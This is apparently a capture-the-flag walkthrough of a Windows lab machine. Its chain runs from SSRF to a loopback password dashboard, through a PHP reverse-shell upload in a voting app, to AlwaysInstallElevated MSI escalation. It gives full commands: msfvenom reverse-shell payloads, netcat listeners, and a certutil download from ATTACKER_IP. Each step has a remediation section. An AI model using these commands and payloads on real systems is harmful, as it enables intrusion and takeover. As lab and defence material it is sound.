← all walkthroughs

Love

Windows· Easy· Web
owned
2026-07-06
time to own
8m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I mapped the Windows Apache stack and discovered two virtual hosts — love.htb (the main Voting System site) and staging.love.htb (a staging helper). The staging site's file-preview form made unrestricted server-side HTTP requests, which I pointed at the loopback-only port 5000 to retrieve an internal Password Dashboard that stored the admin credential in plaintext. Those credentials unlocked the Voting System 1.0 admin panel, which accepted an uploaded PHP file as a voter profile photo with no type validation; executing that file gave a remote shell as the low-privileged web-service account Phoebe.

A check of Windows Installer policy showed both the machine-wide and per-user AlwaysInstallElevated registry keys were enabled, allowing any user to run an MSI package as SYSTEM. A crafted MSI reverse shell installed silently completed full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconService and virtual-host enumeration (T1046, T1595.002)
Port scan and virtual-host discovery mapped the attack surface
An nmap scan revealed Apache 2.4.46 on ports 443 and 5000, WinRM on 5985/5986, SMB on 445, and MariaDB on 3306. The TLS certificate on port 443 exposed two virtual hostnames: love.htb and staging.love.htb. Port 5000 ran the same Apache/PHP stack but served a different application reachable only from the loopback interface.
443/tcp ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27); 5000/tcp same stack; 5985/tcp winrm (recon-sweep)
Exact commands 3
Version and default-script scan against all confirmed open ports.
nmap -sV -sC -p 80,443,135,139,445,3306,5000,5985,5986 $TARGET -oN love_nmap.txt
Register both vhosts found in the TLS certificate CN/SANs for local resolution.
echo "$TARGET love.htb staging.love.htb" | sudo tee -a /etc/hosts
Confirm both vhosts respond and note HTTP headers or redirects.
curl -skI https://love.htb/ && curl -skI http://staging.love.htb/
2EnumerationServer-Side Request Forgery (SSRF) — T1190
Identified an SSRF-vulnerable file-checker form on the staging vhost
The staging.love.htb root returned 403, but /beta.php served a live 'File security checker' form. The form accepted a URL in the file= POST parameter and fetched it server-side, returning the HTTP response body directly in the page. This is a classic SSRF sink: the server will proxy requests to any address, including localhost and RFC-1918 ranges, on behalf of the unauthenticated visitor.
<form name="fileform" method=post action="/beta.php"> ... <input name=file> ... <input name=read>
Exact commands 2
Confirm the File security checker page is live and note the form fields.
curl -sk http://staging.love.htb/beta.php
Baseline SSRF probe — verifies localhost responses are returned in the page body.
curl -sk -X POST http://staging.love.htb/beta.php -d 'file=http://127.0.0.1/&read=1'
FixRestrict server-side URL fetching and block SSRF paths to internal servicesCritical
WeaknessThe staging site's /beta.php form accepted any URL and fetched it server-side without restriction, including loopback addresses. This let an unauthenticated visitor tunnel through the web server to reach port 5000 — a service deliberately not exposed externally — and retrieve its contents.
FixRemove or tightly gate the URL-fetching feature. If it must exist, validate the destination against an allowlist of approved external hostnames and explicitly deny loopback (127.0.0.0/8), link-local (169.254.0.0/16), and RFC-1918 ranges using a server-side blocklist enforced before any HTTP request is issued. Additionally, bind internal-only services such as the password dashboard to 127.0.0.1 with authentication required, so that even a bypassed SSRF filter cannot expose credentials.
3ExploitationSSRF against internal service — T1190 / CWE-918
SSRF to internal port 5000 retrieved plaintext admin credentials
Directing the SSRF at http://127.0.0.1:5000/ caused the web server to fetch the loopback-only Password Dashboard and return it in the response. The page listed the Voting System administrator account name and password in cleartext, handing I valid credentials without any brute-force or cracking.
<h1 class="title is-4">Password Dashboard ... Admin / admin / [REDACTED: recovered credential]
Exact commands 1
Fetch the loopback password dashboard via SSRF. Credentials admin:[REDACTED: recovered credential] appear in the response body.
curl -sk -X POST http://staging.love.htb/beta.php -d 'file=http://127.0.0.1:5000/&read=1'
4Initial AccessValid Accounts — T1078
Logged into the Voting System admin panel with the leaked credential
The credential admin:[REDACTED: recovered credential] was submitted to the Voting System 1.0 login form at love.htb/admin/login.php. The server issued HTTP 302 to index.php and set a PHPSESSID session cookie, granting full administrative access to the voting application — candidate management, voter management, and file upload functionality.
HTTP/1.1 302 Found ... A session cookie recovered credential]; path=/ ... Location: index.php
Exact commands 2
Login and save the session cookie. A 302 redirect to index.php confirms success.
curl -sk -c /tmp/love_cookie -X POST http://love.htb/admin/login.php -d "username=admin&password=$PASSWORD&login=" -D -
Verify the issued cookie represents a live authenticated session.
curl -sk -b /tmp/love_cookie http://love.htb/admin/index.php | grep -Ei 'logout|dashboard' && echo AUTH_OK || echo AUTH_FAIL
FixEliminate plaintext credential storage in web-served files and dashboardsCritical
WeaknessAdministrator credentials were stored and displayed in plaintext in a web-served Password Dashboard on port 5000. A single SSRF request was sufficient to read them — no authentication was needed to reach the dashboard via loopback, and no hashing or encryption protected the values.
FixNever store passwords in web-served files, HTML pages, or configuration pages visible to any HTTP client. Use a secrets manager or operating-system credential store (e.g., Windows Credential Manager, HashiCorp Vault). If a web-based credential display is operationally required, require mutual authentication (client certificate or strong session token), restrict it to a management network segment, and store credentials hashed with a strong KDF such as bcrypt or Argon2.
5ExploitationUnrestricted File Upload leading to RCE — T1505.003 / CWE-434
Uploaded a PHP web shell through the unrestricted voter-photo field
Voting System 1.0 (EDB-49445) allows an authenticated administrator to add a voter record and attach a profile photo. The application saves the uploaded file directly under /images/ with its original name and extension, performing no MIME-type or extension validation. Uploading a PHP reverse-shell file and requesting it at /images/shell.php triggered immediate code execution as the Windows account running the Apache/PHP service (Phoebe).
Engagement patterns: file-upload; EDB-49445 (Voting System 1.0 authenticated RCE via file upload); Apache PHP/7.3.27 stack serves /images/ directory
Exact commands 5
Generate a PHP reverse shell. Substitute your actual $ATTACKER_IP.
msfvenom -p php/reverse_php LHOST=$ATTACKER_IP LPORT=4444 -f raw -o shell.php
Submit the .php file as a voter photo. The app saves it as /images/shell.php.
curl -sk -b /tmp/love_cookie -F 'photo=@shell.php;type=image/jpeg' -F 'firstname=Test' -F 'lastname=User' -F 'password=$PASSWORD2' -F 'username=testuser88' -F 'add=' http://love.htb/admin/voters_add.php
Start the listener on my machine before triggering.
nc -lvnp 4444
Request the uploaded file to execute it; receive reverse shell as Phoebe.
curl -sk http://love.htb/images/shell.php
Capture the user flag from within the shell. Value: <user.txt>
type C:\Users\Phoebe\Desktop\user.txt
FixEnforce strict file-type validation and disable script execution in upload directoriesCritical
WeaknessThe Voting System 1.0 admin panel accepted uploaded files without checking their extension, MIME type, or content, and saved them directly under a web-served /images/ directory. A PHP file uploaded as a voter photo was immediately executable by the web server.
FixValidate uploaded files by inspecting magic bytes (not just the Content-Type header or filename extension); whitelist safe image types only (JPEG, PNG, GIF, WebP); rename every uploaded file to a randomly generated name with a forced safe extension; store uploads outside the web root and stream them through a controller rather than serving the raw file path; and add an Apache Directory directive or .htaccess rule (Options -ExecCGI, php_flag engine off) to disable PHP execution in every upload folder. Strongly consider replacing Voting System 1.0 — it is a publicly known vulnerable application (EDB-49445).
6Privilege EscalationAlwaysInstallElevated Windows policy abuse — T1548
Exploited AlwaysInstallElevated to run a malicious MSI installer as SYSTEM
Both the machine-wide (HKLM) and per-user (HKCU) AlwaysInstallElevated registry keys were set to 1. This Windows policy tells the Installer service to run every .msi package with SYSTEM privileges regardless of the calling account's rights — a critical misconfiguration. A reverse-shell MSI was generated with msfvenom, transferred to the target, and installed silently. The Windows Installer ran it as SYSTEM, delivering a high-privilege shell and full control of the machine.
Exact commands 8
Confirm HKCU key = 0x1 (required).
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Confirm HKLM key = 0x1 — both must be set for the attack to work.
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Generate the MSI payload on my machine.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=5555 -f msi -o privesc.msi
Serve the MSI from my machine.
python3 -m http.server 8080
Download the MSI to the target from the Phoebe shell.
certutil -urlcache -split -f http://$ATTACKER_IP:8080/privesc.msi C:\Windows\Temp\privesc.msi
Start the privilege-escalation listener on my machine.
nc -lvnp 5555
Install silently; Windows Installer executes the payload as SYSTEM.
msiexec /quiet /qn /i C:\Windows\Temp\privesc.msi
Capture the root flag from the SYSTEM shell. Value: <root.txt>
type C:\Users\Administrator\Desktop\root.txt
FixDisable the AlwaysInstallElevated Group Policy setting across all machinesCritical
WeaknessBoth HKLM and HKCU SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated were set to 1, instructing Windows to grant SYSTEM privileges to every MSI package regardless of the installing user's rights. Any low-privileged account — including a web-shell foothold — could escalate to full administrator by running a crafted installer.
FixDisable the policy on all domain machines via Group Policy: set Computer Configuration → Administrative Templates → Windows Components → Windows Installer → 'Always install with elevated privileges' to Disabled, and apply the identical setting under User Configuration. Immediately audit every managed device for this misconfiguration using a GPO compliance report or a script querying both registry paths (HKLM and HKCU) across the estate. Reboot is not required; the change takes effect at next policy refresh (gpupdate /force).

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Exposed services

80/tcp
135/tcp
139/tcp
443/tcp
445/tcp
3306/tcp
5000/tcp
5040/tcp
5985/tcp
5986/tcp
7680/tcp
47001/tcp
49664/tcp
49665/tcp
49666/tcp
49667/tcp
49668/tcp
49669/tcp
49670/tcp